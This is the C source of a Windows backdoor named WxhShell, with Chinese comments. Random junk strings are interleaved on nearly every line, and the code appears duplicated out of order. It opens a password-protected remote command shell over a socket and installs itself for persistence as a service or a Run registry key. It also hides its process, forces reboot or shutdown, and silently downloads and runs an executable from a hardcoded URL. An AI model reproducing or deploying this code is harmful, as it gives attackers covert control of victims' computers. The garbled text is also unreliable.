    if(Boot(SHUTDOWN)) PfKIaW<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#qf0  
    else { Vm NCknG  
    closesocket(wsh); PS ,@ \  
    ExitThread(0); G|5M~zP  
    }  p]z *  
    break; XBi}hT  
    } Gb]t%\  
  // 获取shell nRKh|B)  
  case 's': { 4?GW]'d  
    CmdShell(wsh); W| S{v7[l  
    closesocket(wsh); Cf#[E~24  
    ExitThread(0); (dl7+  
    break; Y> }[c   
  } *,Bo $:(n  
  // 退出 UR;F W`  
  case 'x': { sYlA{Z"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pUV3n 1{2  
    CloseIt(wsh); ~Xa8\>  
    break; "W:#4@ F  
    } #kD8U#  
  // 离开 83io@*D  
  case 'q': { }F'B!8n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u*#j;Xc  
    closesocket(wsh); 'urn5[i  
    WSACleanup(); Jr/|nhGl5  
    exit(1); 4N&4TUIM  
    break; te e  
        } Ys8p,.OMs  
  } z:C VzK,  
  } u_+64c_7  
FM\yf ]'  
  // 提示信息 Qs(WyP#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Un{hI`3]  
} 5.st!Lp1  
  } (<RZZ{m  
mx`C6G5  
  return; 4c"x&x|  
} h`X>b/V  
;{xk[f m=  
// shell模块句柄 N;4tvWI  
int CmdShell(SOCKET sock) k)+2+hX&>  
{ q$>/~aVM  
STARTUPINFO si; F2QX ^*  
ZeroMemory(&si,sizeof(si)); &gdtI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U&W{;myt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zNe>fZ  
PROCESS_INFORMATION ProcessInfo; 6wk/IJ`  
char cmdline[]="cmd"; pF~[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QH:PClW![  
  return 0; u(W%snl  
} Q2wEt >0a  
Y/\y"a  
// 自身启动模式 VFUuG3p)  
int StartFromService(void) N 2|?I(\B  
{ *`]LbS  
typedef struct lCmTm  
{ SyHS9>  
  DWORD ExitStatus; <w@ziUr  
  DWORD PebBaseAddress; :Osw4u]JXd  
  DWORD AffinityMask; [kfLT::mT  
  DWORD BasePriority; >s3H_X3F  
  ULONG UniqueProcessId; e !_+TyI  
  ULONG InheritedFromUniqueProcessId; 0 t.'?=  
}   PROCESS_BASIC_INFORMATION; 7A!E~/nSC  
JO\F-xO  
PROCNTQSIP NtQueryInformationProcess; 9b KK  
obYXDj2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2)O-EAn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pwq a/Yi  
E3IB> f  
  HANDLE             hProcess; Hggp*(AQK  
  PROCESS_BASIC_INFORMATION pbi; -rC_8.u :  
KMFvi_8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RzPqtN  
  if(NULL == hInst ) return 0; ";:"p6?  
u=epnz:<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n}NO"eF>-s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FjUf|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4.?tP7UE  
N7/eF9  
  if (!NtQueryInformationProcess) return 0; 1A>>#M=A  
ZaxBr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sxac( L  
  if(!hProcess) return 0; \F_~?$  
-oSfp23u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mJjd2a"vi  
!U}dYB:O  
  CloseHandle(hProcess); .c#G0t<i[  
}bwH(OOS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bismd21F6=  
if(hProcess==NULL) return 0; e;QPn(  
{<\[gm\X  
HMODULE hMod; -)S(eqq1  
char procName[255]; g=8}G$su{%  
unsigned long cbNeeded; )?@X{AN&  
/5@4}m>Z@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !3]}3jZ.  
!3Xu#^Xxj  
  CloseHandle(hProcess); AQCU\E  
&~ =q1?  
if(strstr(procName,"services")) return 1; // 以服务启动 8T3j/ D<r  
3vs;ZBM  
  return 0; // 注册表启动 zq(R!a6  
} Q& p'\6~  
Aw]W-fx  
// 主模块 r!DUsE  
int StartWxhshell(LPSTR lpCmdLine) VK7lm|J+  
{ gEFs4; CN  
  SOCKET wsl; }E?{M~"<  
BOOL val=TRUE; sA( e  
  int port=0; y'gIx*6B@  
  struct sockaddr_in door; N{6 - rR  
$:v!*0/  
  if(wscfg.ws_autoins) Install(); (<|NerwD  
|$Y0VC4a  
port=atoi(lpCmdLine); _*(n2'2B  
=&kd|o/i  
if(port<=0) port=wscfg.ws_port; *|Cmm>z"7  
:?LUv:G  
  WSADATA data; Ne6]?\Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !1g2'  
<,r(^Ntz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G}MJWf Hl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U _QCe+  
  door.sin_family = AF_INET; I/F3%'O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IaDN[:SX  
  door.sin_port = htons(port); z%$,F9/  
&f2'cR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z?IwR  
closesocket(wsl); GqYE=Q  
return 1; l]pHj4`uv  
} _z`g@[m:t  
J Iw=Bs  
  if(listen(wsl,2) == INVALID_SOCKET) { ,U-aZ  
closesocket(wsl); Q/JX8<7K  
return 1; -UJ; =/  
} pA ,xDs@37  
  Wxhshell(wsl); zOV.cI6fZz  
  WSACleanup();  >^<%9{  
&W'X3!Te  
return 0; =Zg%& J  
qB%?t.k7  
} 1:L _qL  
%TOYU (k  
// 以NT服务方式启动 $-tgd<2h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y'5 y  
{ 'a}<|Et.  
DWORD   status = 0; H<hFA(M  
  DWORD   specificError = 0xfffffff; U{^~X_?  
Iuh1tcc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jB"?iC.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9ZKB,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yXuc< m  
  serviceStatus.dwWin32ExitCode     = 0;  L=Pz0  
  serviceStatus.dwServiceSpecificExitCode = 0; 3,x|w  
  serviceStatus.dwCheckPoint       = 0; n"p|tEK  
  serviceStatus.dwWaitHint       = 0; WyO7,Qr\   
a{oG[e   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 38I.1p9  
  if (hServiceStatusHandle==0) return; ,};UD  W  
h3}gg@Fm  
status = GetLastError(); sBsf{%I[{  
  if (status!=NO_ERROR) yA74Rxl*6  
{ 9GH11B_A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u{Z 4M3U  
    serviceStatus.dwCheckPoint       = 0; f{m,?[1C,  
    serviceStatus.dwWaitHint       = 0; Kbdjd p  
    serviceStatus.dwWin32ExitCode     = status; ?9F_E+!  
    serviceStatus.dwServiceSpecificExitCode = specificError; HAkEJgV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nE4?oq  
    return; V l,V  
  } 7q%<JZPY  
!uoQLiH+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zvzS$Gpe  
  serviceStatus.dwCheckPoint       = 0; R]s\s[B  
  serviceStatus.dwWaitHint       = 0; E{Gkq:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A,P_|  
} qUZm6)p6[a  
v,=[!=8!  
// 处理NT服务事件,比如:启动、停止 Sr9)i8x{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c^4^z"Mo`  
{ ,wyfMOGLt  
switch(fdwControl) R F)Qsa  
{ WcG!6.U>  
case SERVICE_CONTROL_STOP: F|rJ{=x  
  serviceStatus.dwWin32ExitCode = 0; IvW%n(a8^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U\crp T`  
  serviceStatus.dwCheckPoint   = 0; aJQx"6 c?  
  serviceStatus.dwWaitHint     = 0; Z#J cN quM  
  { ~+JE l%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XAn{xN pz  
  } ucVWvXCr  
  return; qIO<\Y l  
case SERVICE_CONTROL_PAUSE: s,tZi6Z=%E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]bPj%sb*@  
  break; 1XwW4cZ>:  
case SERVICE_CONTROL_CONTINUE: ]VYv>o`2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R')D~JJ<8a  
  break; O%w"bEr)N  
case SERVICE_CONTROL_INTERROGATE: UG]]Vk1d]  
  break; |=dmxfj@  
}; d]kP@flOV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -G!W6$Y  
} @[:JQ'R=  
li U=&wM>  
// 标准应用程序主函数 5|4=uoA<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zF%'~S0{  
{ -{ae  
aMUy^>  
// 获取操作系统版本 8 |@WuD  
OsIsNt=GetOsVer(); %lr<;   
GetModuleFileName(NULL,ExeFile,MAX_PATH); i?*_-NAm  
I6k S1  
  // 从命令行安装 lbRm(W(  
  if(strpbrk(lpCmdLine,"iI")) Install(); N33{vx  
`]+-z +  
  // 下载执行文件 H1FD|Q3  
if(wscfg.ws_downexe) { r35'U#VMk?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~miRnW*x  
  WinExec(wscfg.ws_filenam,SW_HIDE); x/7d!>#;  
} P ~pC /z  
&ye,A(4  
if(!OsIsNt) { 7]i=eD8  
// 如果时win9x,隐藏进程并且设置为注册表启动 X_j=u1*5  
HideProc(); 3eqVY0q  
StartWxhshell(lpCmdLine); >N&C-6W  
} x6d0yJ <  
else h`_@eax  
  if(StartFromService()) @V9qbr= Z  
  // 以服务方式启动 /7bIE!Cn  
  StartServiceCtrlDispatcher(DispatchTable); M~6x&|2  
else /c`s$h4-  
  // 普通方式启动 Cb{n4xKW6  
  StartWxhshell(lpCmdLine); fnZaIV=H  
qtx5N)J6  
return 0; af:wg]g  
} U%Igj:%?;`  
k:+Bex$g  
np>RxiB^  
5i 6*$#OM_  
=========================================== K*ZH<@o4  
LX i?FQnLu  
v(H CnC  
@iW^OVpp<8  
;+) M~2 =  
:s Mc}k?9S  
" zF& >1y.$  
cY}Nr#%s@U  
#include <stdio.h> q ;@:,^  
#include <string.h> Is87 9_Z  
#include <windows.h> :+Pl~X"_  
#include <winsock2.h> :6^8Q,C1@  
#include <winsvc.h> hhS]wM?B  
#include <urlmon.h> ,O9rL :?  
F$Cf\#{3  
#pragma comment (lib, "Ws2_32.lib") X j'7nj  
#pragma comment (lib, "urlmon.lib") rCwjy&SuU^  
v7"Hvp3w  
#define MAX_USER   100 // 最大客户端连接数 64#6L.Q-c  
#define BUF_SOCK   200 // sock buffer d/Sx+1 "{T  
#define KEY_BUFF   255 // 输入 buffer W|go*+`W%  
GM5s~,  
#define REBOOT     0   // 重启 Ly0U')D:  
#define SHUTDOWN   1   // 关机 A.mIqu,:  
[M^ur%H  
#define DEF_PORT   5000 // 监听端口 `=]I -5#.W  
/K#t$O4  
#define REG_LEN     16   // 注册表键长度 aYjFRH`  
#define SVC_LEN     80   // NT服务名长度 U9om}WKO  
vFKt=o$ g  
// 从dll定义API .kBZ(`K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F-=W7 D:[c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hkc:B/6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9$9Pv%F:j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nUAs:Q  
c'9-SY1'~  
// wxhshell配置信息 N"i'[!H%  
struct WSCFG { @ =RH_NB  
  int ws_port;         // 监听端口 yM3]<~m  
  char ws_passstr[REG_LEN]; // 口令 Qi_De '@  
  int ws_autoins;       // 安装标记, 1=yes 0=no G1Qc\mp  
  char ws_regname[REG_LEN]; // 注册表键名 IZ2c<B5&  
  char ws_svcname[REG_LEN]; // 服务名 -?8;-h, h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (IbT5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W^c> (d</  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 > 5i(U_`l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zUw9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =xs{Ov=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +OUYQMmM  
(5l5@MN  
}; 0FDfB;  
K22'XrN  
// default Wxhshell configuration [6bK>w"v  
struct WSCFG wscfg={DEF_PORT, |JpLMUG  
    "xuhuanlingzhe", w3^>{2iqq  
    1, ;tS4 h  
    "Wxhshell", 9s5PJj"u  
    "Wxhshell", fbbk;Rq.'3  
            "WxhShell Service", x)X=sX.  
    "Wrsky Windows CmdShell Service", 5"f')MKUV9  
    "Please Input Your Password: ", +^St"GWY  
  1, 1U"Fk3  
  "http://www.wrsky.com/wxhshell.exe", UMg*Yv%  
  "Wxhshell.exe" AZmABl  
    }; Bn7~p+N  
E7eOKNVC#  
// 消息定义模块 W$x'+t5H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y;N[#hY#CD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0Ey*ci^ue  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z0;+.E!  
char *msg_ws_ext="\n\rExit."; KrQ8//Ih  
char *msg_ws_end="\n\rQuit."; uvo2W!  
char *msg_ws_boot="\n\rReboot..."; #+2|ZfCn%  
char *msg_ws_poff="\n\rShutdown..."; MIcF "fB![  
char *msg_ws_down="\n\rSave to "; >Q0HqOq  
*mQOW]x%  
char *msg_ws_err="\n\rErr!"; 3>[_2}l  
char *msg_ws_ok="\n\rOK!"; Z4\$h1tl  
v{ F/Bifo  
char ExeFile[MAX_PATH]; :)GtPTD  
int nUser = 0; \W<r`t4v  
HANDLE handles[MAX_USER]; x,Im%!h  
int OsIsNt; M(,npW  
#ii,GN~N  
SERVICE_STATUS       serviceStatus; :les 3T}2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t]Ey~-Rx  
p]d3F^*i  
// 函数声明 1* _wJ  
int Install(void); fJ[(zjk  
int Uninstall(void); kaxAIk8l  
int DownloadFile(char *sURL, SOCKET wsh); jgLCs)=5hV  
int Boot(int flag); r5!I|E  
void HideProc(void); @_&@M~ u  
int GetOsVer(void); w5I +5/I  
int Wxhshell(SOCKET wsl); 8oI)q4V  
void TalkWithClient(void *cs); ~!c~jcq]lZ  
int CmdShell(SOCKET sock); ' LT6%<|  
int StartFromService(void); UR~9*`Z ,  
int StartWxhshell(LPSTR lpCmdLine); lGa'Y  
d#@N2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LTsG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e[t+pnRh  
6x*u S~'  
// 数据结构和表定义 ni#!Gxw  
SERVICE_TABLE_ENTRY DispatchTable[] = z}'*zB>  
{ ER:)Fk>_  
{wscfg.ws_svcname, NTServiceMain}, 4Fr0/="H  
{NULL, NULL} &e\A v.n@-  
}; $7{V+>  
{1^9*  
// 自我安装 u$c)B<.UR  
int Install(void) p]*BeiT#n%  
{ <~BheGmmy  
  char svExeFile[MAX_PATH]; jiPV ]aVN  
  HKEY key; Y-%S,91O  
  strcpy(svExeFile,ExeFile); o@}+b}R}  
$x&\9CRM  
// 如果是win9x系统,修改注册表设为自启动 |BD]K0  
if(!OsIsNt) { X!0s__IOc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V~y4mpfX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !=(~e':Gv  
  RegCloseKey(key); N@UO8'"9K&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 75`*aAZ3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g)+45w*+5  
  RegCloseKey(key); |Ew\Tgo/2  
  return 0; }hOExTz  
    } 3AWNoXh  
  } |C9qM  
} 9,|&+G$  
else { L3 M]06y  
#NM .g  
// 如果是NT以上系统,安装为系统服务 #`6A}/@.+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h<oQ9zW)  
if (schSCManager!=0) o6^^hc\  
{ "M*Pt  
  SC_HANDLE schService = CreateService 8$!/Zg  
  ( p&=F:-  
  schSCManager, @b=b>V[d6  
  wscfg.ws_svcname, 8S1%;@c  
  wscfg.ws_svcdisp, %gB 0\C  
  SERVICE_ALL_ACCESS, Z']D8>d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YcS }ug7  
  SERVICE_AUTO_START, 8H_3.MK  
  SERVICE_ERROR_NORMAL, Pm]6E[zC  
  svExeFile, sa8Sy&X"  
  NULL, ]p~QdUR(  
  NULL, I(r^q"  
  NULL, [o)P  
  NULL, J;Az0[qMR  
  NULL #2c-@),  
  ); O?omL5  
  if (schService!=0) ~:."BA  
  { jyPY]r  
  CloseServiceHandle(schService); (S+tQ2bt  
  CloseServiceHandle(schSCManager); { #CyO b4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K /h9x9^  
  strcat(svExeFile,wscfg.ws_svcname); 8o~<\eF%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 94L P )n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {\G4YQ  
  RegCloseKey(key); `Nnqdc2  
  return 0; Pg%OFhA  
    } UA3%I8gu_  
  } DoA4#+RU  
  CloseServiceHandle(schSCManager); vs|>U-Mpw~  
} 4.bL>Y>c  
} H".~@,-}  
=V:rO;qX+@  
return 1; 5Bw  
} 3`4g*wO  
j r6)K;:.  
// 自我卸载 V|vU17Cgy  
int Uninstall(void) }pKHa'/\  
{ GYot5iLg  
  HKEY key; %&9tn0B  
6vz9r)L  
if(!OsIsNt) { @*W,Jm3Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :g/HN9  
  RegDeleteValue(key,wscfg.ws_regname); `zAo IQ  
  RegCloseKey(key); mP GF Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @"T_W(i;BI  
  RegDeleteValue(key,wscfg.ws_regname); v"Bv\5f,Ys  
  RegCloseKey(key); +0;n t  
  return 0; F(/^??<5  
  } Owalt4}C  
} 4f~hd-z  
} Zk2-U"0\o  
else { VF=$'Bl|  
dI&2dcumS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  5I5~GH  
if (schSCManager!=0) r'fNQJ >  
{ N4"%!.Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;<%~g8:XL  
  if (schService!=0) ,WbO8#z+  
  { elXY*nt8h  
  if(DeleteService(schService)!=0) { 0mL#8\'"  
  CloseServiceHandle(schService); EKf"e*|(L  
  CloseServiceHandle(schSCManager); !G3O!]  
  return 0; \}t(g}7T  
  } `bO+3Y'5  
  CloseServiceHandle(schService); Ps0'WRJnx  
  } ^lB'7#7  
  CloseServiceHandle(schSCManager); %"@KuqV  
} $xmlt vaF  
} ZbCu -a{v  
nn$,|/  
return 1; -8Z%5W`  
} ^r73(8{)  
@Y*ONnl  
// 从指定url下载文件  3+"z  
int DownloadFile(char *sURL, SOCKET wsh) 3.B|uN  
{ RH^8"%\  
  HRESULT hr; mKynp  
char seps[]= "/"; +](^gaDw<L  
char *token; yWu80C8 q  
char *file; ,6,#Lc  
char myURL[MAX_PATH]; 6Km@A M]  
char myFILE[MAX_PATH]; X:+;d8rCy  
E N%cjvE  
strcpy(myURL,sURL);  Aki8#  
  token=strtok(myURL,seps);  {[o=df/  
  while(token!=NULL) xlkEW&N&  
  { R1/ )Yy  
    file=token; <9YRSE [Ed  
  token=strtok(NULL,seps); 3t[2Bd  
  } K=VYR Y  
VWd=7  
GetCurrentDirectory(MAX_PATH,myFILE); r8+{HknB;  
strcat(myFILE, "\\"); om$)8'A,l  
strcat(myFILE, file); v"6q!  
  send(wsh,myFILE,strlen(myFILE),0); ^,'!j/w5  
send(wsh,"...",3,0); '~%1p_0dq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z+&mMP`-  
  if(hr==S_OK) >f4H<V-  
return 0; i3s-l8\\z  
else FSd842O  
return 1; rC}r99Pe:x  
6~V$0Y>]  
} }'a}s0h  
Gr&5 mniu  
// 系统电源模块 eiI}:5~ /g  
int Boot(int flag) #A@*k}/+  
{ "n:z("Q*  
  HANDLE hToken; [F%INl-sy  
  TOKEN_PRIVILEGES tkp; wgpu]ooUF&  
QM`A74j0]\  
  if(OsIsNt) { T?:Vw laE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "zL<:TQ"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2#ND(  
    tkp.PrivilegeCount = 1; B. 6gJ2c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y} AkF2:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mu04TPj  
if(flag==REBOOT) { ]wWN~G)2lV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `omZ'n)  
  return 0; *xA&t)z(i  
} R @b[o7/  
else { B<J} YN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZJ'#XZpr  
  return 0; Eic/#j{4  
} i]a0 "  
  } kJq8"Klg  
  else { l_Ftt N  
if(flag==REBOOT) { }Zc.rk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m^@,0\F  
  return 0; c?"#x-<1s  
} 5;oWFl  
else { IM|VGT0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i-~HT4iw  
  return 0; :o?On/  
} IQf:aX  
} bEyZRG  
&z8@  rk|  
return 1; =o;8xKj  
} &]3_ .C  
6MvjNbQ  
// win9x进程隐藏模块 7RM$%'n \  
void HideProc(void) lX/s Q  
{ :^j`wd1 h  
q+5g+9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^.aFns{wv  
  if ( hKernel != NULL ) C,Q>OkSc  
  { UUc{1"z{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ({i}EC7{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W~2`o*\l  
    FreeLibrary(hKernel); Vb az#I  
  } /]=Ih  
C|bnUN  
return; x>d,\{U  
} zBtlkBPu  
#S)+eH  
// 获取操作系统版本 H WOs   
int GetOsVer(void) DKnjmZ:J|  
{ pSvRyb.K  
  OSVERSIONINFO winfo; /J )MW{;O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b(+M/O>I  
  GetVersionEx(&winfo); "bZ%1)+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4qXO8T#~J=  
  return 1; -b"mx"'?  
  else 5RXZ$/  
  return 0; Fy37I/#)r&  
} c1B <9_  
E58fY|9  
// 客户端句柄模块 dc.9:u*w  
int Wxhshell(SOCKET wsl) d,AEV_  
{ `w';}sQA7  
  SOCKET wsh; w=H   
  struct sockaddr_in client; ]=!wMn**  
  DWORD myID; #pO=\lJ,  
$_IvzbOh  
  while(nUser<MAX_USER) 8 9o&KF]  
{ i#]}k  
  int nSize=sizeof(client); PKFjM~J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zrVw l\&  
  if(wsh==INVALID_SOCKET) return 1; ,r^zDlS<q  
KM li!.(b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k%Dpy2uH  
if(handles[nUser]==0) nb dm@   
  closesocket(wsh); +A%|.;  
else + 2 v6fan  
  nUser++; 15dhr]8E  
  } W|h~&O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {~q"Y]?  
m_YXTwwx  
  return 0; rYez$e^r  
} z#9Tg"8]  
}zC9;R(E  
// 关闭 socket d1]CN6 7{G  
void CloseIt(SOCKET wsh) 3+vbA;R  
{ 2q]y(kW+  
closesocket(wsh); ,yc_r= _  
nUser--; " E+V >V+  
ExitThread(0); Cge@A'2  
} yTJ Eo\g/@  
&iKy  
// 客户端请求句柄 =`Ii ?xo  
void TalkWithClient(void *cs) "i>?Tg^  
{ Io_bS+  
8'XAZSd(  
  SOCKET wsh=(SOCKET)cs; -wn ,7;  
  char pwd[SVC_LEN]; v2eLH:6  
  char cmd[KEY_BUFF]; :jL>sGvBv  
char chr[1]; "?9rJx$  
int i,j; h [*/Tnr  
`%S 35x9  
  while (nUser < MAX_USER) { -wr#.8rzTT  
fghw\\]3  
if(wscfg.ws_passstr) { )&/ecx"2Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oP >+2.i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $fifx>!  
  //ZeroMemory(pwd,KEY_BUFF); -YvnX0j+  
      i=0; !UHWCJ< <w  
  while(i<SVC_LEN) { x -;tV=E}  
FK;3atrz  
  // 设置超时 ,GO H8h  
  fd_set FdRead; EPeKg{w  
  struct timeval TimeOut; |ppG*ee  
  FD_ZERO(&FdRead); "06t"u<%  
  FD_SET(wsh,&FdRead); I;xSd.-  
  TimeOut.tv_sec=8; {:=sCY!  
  TimeOut.tv_usec=0; 7pPaHX8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h;TN$ /  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -sjyv/%_  
)LC"rSNx%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,X`w/ 2O  
  pwd=chr[0]; ya3k;j2C  
  if(chr[0]==0xd || chr[0]==0xa) { YMSZcI  
  pwd=0; ,J;Cb}  
  break; @!'rsPrI  
  } a4d7;~tZ  
  i++; \-?0ab3Z  
    } L5[{taZ,  
;f?suawMv  
  // 如果是非法用户,关闭 socket KC+jHk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ' % d-  
} ~fnu;'fN  
_v6x3 Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TXL!5, X_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E P3Vz8^  
jouA ]E  
while(1) { Q DVk7ks  
r7ebFJEf  
  ZeroMemory(cmd,KEY_BUFF); uH{oJSrK  
%eOO8^N  
      // 自动支持客户端 telnet标准   gOy;6\/  
  j=0; k\76`!B  
  while(j<KEY_BUFF) { }G/!9Zq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X'uQr+p^  
  cmd[j]=chr[0]; <aQ<Wy=\  
  if(chr[0]==0xa || chr[0]==0xd) { RCqd2$K"J+  
  cmd[j]=0; A3mvd-k  
  break; MCO2(E-  
  } ,ZV>"'I:  
  j++; ?lca#@f(  
    } AZ.$g?3w  
WAt= T3  
  // 下载文件 -I ?8\  
  if(strstr(cmd,"http://")) { I+{2DY/}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WQ+ xS!ba  
  if(DownloadFile(cmd,wsh))  CK+t6Gp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xlcL;e&^P  
  else x^zw1e,y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;\g0* b(  
  } OwCbv j0 #  
  else { }el7@Gv  
Xj9\:M-  
    switch(cmd[0]) { a[_IG-l|i4  
  ${)oi:K@:  
